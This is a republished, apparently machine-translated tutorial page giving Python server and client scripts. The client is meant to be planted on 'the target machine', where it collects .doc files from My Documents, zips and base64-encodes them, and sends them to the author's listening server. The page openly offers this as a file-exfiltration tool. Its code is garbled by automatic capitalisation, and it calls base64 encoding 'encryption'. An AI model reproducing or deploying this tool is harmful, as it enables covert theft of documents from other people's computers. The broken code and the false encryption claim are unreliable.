Python implements the method of getting the specified file on the client and transferring it to the server _python

Source: Internet
Author: User

The example in this article describes how the python implementation obtains the specified file on the client and transfers it to the server. Share to everyone for your reference. The specific analysis is as follows:

The program implements all of the target machine's directory (controllable) of all of the types of files (controllable) to obtain and upload to your own machine.

1, with the Base64 encode (infile,outfile) encryption, and Decode (infile,outfile) decryption, this is 2 encryption decryption
2, with zip compression
3, socket in the server.py put to their own Python server.py, and then client.py to the target machine, and then Python client.py can
4, this program set up to get doc files, modify Extname can get other types of files

Server-side programs:

Copy Code code as follows:
#-*-coding:cp936-*-
Import socket
Import Win32com.client
Import OS
Import ZipFile
Import Codecs
Import Base64
def main ():
HOST = ' 127.0.0.1 '
PORT = 2000
Buf_size = 6553500 #6M
Key = ' Ouyang '
Timeout = 5
Dicname = "ouyang\\"
SS = Socket.socket (Socket.af_inet,socket. SOCK_STREAM)
Try
Ss.bind ((Host,port))
Ss.listen (5)
Print "Wating for conntecting ..."
While True:
Try
CS,ADDR = Ss.accept ()
Socket.setdefaulttimeout (Timeout)
Cs.send ("connected!")
#获取加密数据
Encode_data = Cs.recv (buf_size)
#把数据写到out. zip file
tmpfile = open (' out.tmp ', ' WB ')
Try
Tmpfile.write (Encode_data)
Tmpfile.close ()
Except Ioerror,e:
print ' Strange error creating ioerror:%s '% E
Tmpfile.close ()
Finally
Tmpfile.close ()
#base64 Decode 2 decode decryption (Infile,outfile)
tmpfile = open (' out.tmp ', ' RB ')
outfile = open (' Out.zip ', ' WB ')
Base64.decode (Tmpfile,outfile)
Tmpfile.close ()
Outfile.close ()
#打开zip文件
Zfile = ZipFile. ZipFile (' Out.zip ', ' R ')
#创建一个文件夹来存放获取的zip文件
If not os.path.exists (dicname):
Os.mkdir (Dicname)
For f in Zfile.namelist ():
data = Zfile.read (f)
File = open (Dicname+os.path.basename (f), ' w+b ')
File.write (data)
File.close ()
print "Finished!!!"
Zfile.close ()
#后续处理 Delete temporary files
Os.remove (' out.tmp ')
Cs.close ()
Except Socket.error, E:
print ' Strange error creating socket:%s '% E
Cs.close ()
Ss.close ()
Except Socket.error, E:
print ' Strange error creating socket:%s '% E
Ss.close ()
If __name__== ' __main__ ':
Main ()

Client program:

Copy Code code as follows:
#-*-coding:cp936-*-
Import socket
Import Win32com.client
Import Win32API
Import OS
Import time
Import ZipFile
Import Codecs
Import Base64
def walk_dir (dir,filelist,extname,topdown=true):
For Root, dirs, the files in Os.walk (dir, topdown):
For name in Files:
if (Os.path.splitext (Os.path.join (Root,name)) [-1] = = Extname:
Filelist.append (Os.path.join (root,name))
For name in dirs:
if (Os.path.splitext (Os.path.join (Root,name)) [-1] = = Extname:
Filelist.append (Os.path.join (root,name))
def main ():
HOST = ' 127.0.0.1 '
PORT = 2000
Buf_size = 65535
Key = ' Ouyang '
Dicname = "C:\Documents and settings\administrator\ My Documents"
Extname = '. Doc '
#遍历搜索我的文档的doc类型
Try
FileList = []
Walk_dir (Dicname,filelist,extname)
Except Ioerror,e:
Print "File handling error:"% E
Sys.exit (-1)
CS = Socket.socket (socket.af_inet, socket. SOCK_STREAM)
Try
Cs.connect ((Host,port))
Print Cs.recv (buf_size)
#压缩成zip文件
Zfile = ZipFile. ZipFile (' In.zip ', ' W ', ZipFile. zip_deflated)
For F in FileList:
Zfile.write (f)
Zfile.close ()
#base 2 encryption Encode (Infile,outfile)
infile = open (' In.zip ', ' RB ')
tmpfile = open (' in.tmp ', ' WB ')
Base64.encode (Infile,tmpfile)
Infile.close ()
Tmpfile.close ()
#send
tmpfile = open (' in.tmp ', ' RB ')
Cs.send (Tmpfile.read ())
Tmpfile.close ()
#后续处理 Delete intermediate files
Os.remove (' in.tmp ')
Cs.close ()
Except Socket.error, E:
print ' socket error: '% E
Cs.close ()
If __name__== ' __main__ ':
Main ()

I hope this article will help you with your Python programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.